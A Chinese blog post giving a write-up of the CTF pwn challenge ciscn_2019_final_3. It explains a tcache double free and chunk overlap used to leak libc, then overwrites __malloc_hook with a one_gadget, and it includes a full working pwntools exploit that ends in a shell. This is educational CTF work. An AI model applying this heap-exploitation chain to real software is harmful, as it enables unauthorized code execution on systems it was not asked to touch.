tcache_double_free_overlap

D0wnBe@t Lv4

ciscn_2019_final_3

题目链接

overlap参考文章

题解参考文章:参考题解

ida速览

  • main函数只有add和free可以使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdi
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setinit();
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome to babyheap");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
menu();
std::operator<<<std::char_traits<char>>(&std::cout, "choice > ");
std::istream::operator>>(&std::cin, &v4);
if ( v4 == 1 )
{
add();
}
else if ( v4 == 2 )
{
remove();
}
}
}

add

  • 核心就位于画红框的地方,相当于show了。

remove

思路分析

  • 泄露libc是必不可少的,该题目有tcache,要free掉0x410以上的chunk才可以进入到unsorted bin 中,但是此题目规定了只能size只能<=0x78,于是我们想到了overlapping修改size
  • 关于overlapping可以看开头的文章,修改完size,free即可获得main_arena+96地址,得到libc,获得onegadget
  • double free 改malloc hook为onegadget,再次malloc即可,相当于调用onegadget

EXP分析

overlapping+泄露libc

  • 想要overlapping,得先构造出0x421的chunk出来,一开始没有构造,后面再次malloc的chunk其实是在这个free_chunk里面的,再次free会报错。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 0x400 = 8*0x80
heap = add(0,0x78,b'aaaa')
add(1,0x18,b'bbbb')
add(2,0x78,b'cccc')
add(3,0x78,b'dddd')
add(4,0x78,b'eeee')
add(5,0x78,b'eeee')
add(6,0x78,b'eeee')
add(7,0x78,b'eeee')
add(8,0x78,b'eeee')
# 以上是构造出0x421的chunk
add(9,0x28,b'eeee')

# double free修改size
free(9)
free(9)
# 此时 tcache 5 > 5
add(10,0x28,p64(heap-0x10))
add(11,0x28,p64(heap-0x10))
add(12,0x28,p64(0)+p64(0x421)) # 修改size为0x421
  • 这里也不是很懂,不知道为什么中间会插一步tcache,以后再填上
1
2
3
4
5
6
7
8
9
10
11
free(0) # unsorted bin 此时chunk0_addr -> main_arena+96
free(1) # tcache
test = add(13,0x78,b'f') # 切割unsorted bin
success("test : "+hex(test))
add(14,0x18,b'f') # tcache
main_arena = add(15,0x18,b'f') - 96
success("main_arena : "+hex(main_arena))
malloc_hook = main_arena - 0x10
base = malloc_hook - libc.sym['__malloc_hook']
malloc_hook = base + libc.sym['__malloc_hook']
onegadget += base

double free 修改malloc_hook

  • 修改malloc_hook为onegadget,然后再次malloc就可以getshell
1
2
3
4
5
6
7
8
9
10
free(5)
free(5)
add(16,0x78,p64(malloc_hook))
add(17,0x78,p64(malloc_hook))
add(18,0x78,p64(onegadget))

p.sendline('1')
p.sendline('19')
p.sendline('1') # 调用onegadget
p.interactive()

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(arch='amd64',log_level='debug')

p = remote("node5.buuoj.cn",25726)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def bug():
gdb.attach(p)
pause()

def choice(idx):
p.sendlineafter("choice > ",str(idx))

def add(idx,size,content):
choice(1)
p.sendlineafter("input the index",str(idx))
p.sendlineafter("input the size",str(size))
p.sendlineafter("now you can write something",content)
p.recvuntil("gift :")
return int(p.recvline()[2:],16)

def free(idx):
choice(2)
p.sendlineafter("input the index",str(idx))

# 具有tcache,用overlap,可以修改size>0x408再次free既可进入
# unsorted bin 然后输出泄漏libc
# 查询wp,发现用double free
onegadget = 0x10a38c

# 0x400 = 8*0x80
heap = add(0,0x78,b'aaaa')
add(1,0x18,b'bbbb')
add(2,0x78,b'cccc')
add(3,0x78,b'dddd')
add(4,0x78,b'eeee')
add(5,0x78,b'eeee')
add(6,0x78,b'eeee')
add(7,0x78,b'eeee')
add(8,0x78,b'eeee')
add(9,0x28,b'eeee')

free(9)
free(9)
# 此时 tcache 5 > 5
add(10,0x28,p64(heap-0x10))
add(11,0x28,p64(heap-0x10))
add(12,0x28,p64(0)+p64(0x421)) # 修改size为0x421

free(0) # unsorted bin 此时chunk0_addr -> main_arena+96
free(1) # tcache
test = add(13,0x78,b'f') # 切割unsorted bin
success("test : "+hex(test))
add(14,0x18,b'f') # tcache
main_arena = add(15,0x18,b'f') - 96
success("main_arena : "+hex(main_arena))
malloc_hook = main_arena - 0x10
base = malloc_hook - libc.sym['__malloc_hook']
malloc_hook = base + libc.sym['__malloc_hook']
onegadget += base

free(5)
free(5)
add(16,0x78,p64(malloc_hook))
add(17,0x78,p64(malloc_hook))
add(18,0x78,p64(onegadget))

p.sendline('1')
p.sendline('19')
p.sendline('1') # 调用onegadget
p.interactive()
  • 标题: tcache_double_free_overlap
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-23 15:58:04
  • 更新于 : 2024-09-23 20:21:36
  • 链接: http://downbeat.top/2024/09/23/tcache-double-free-overlap/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论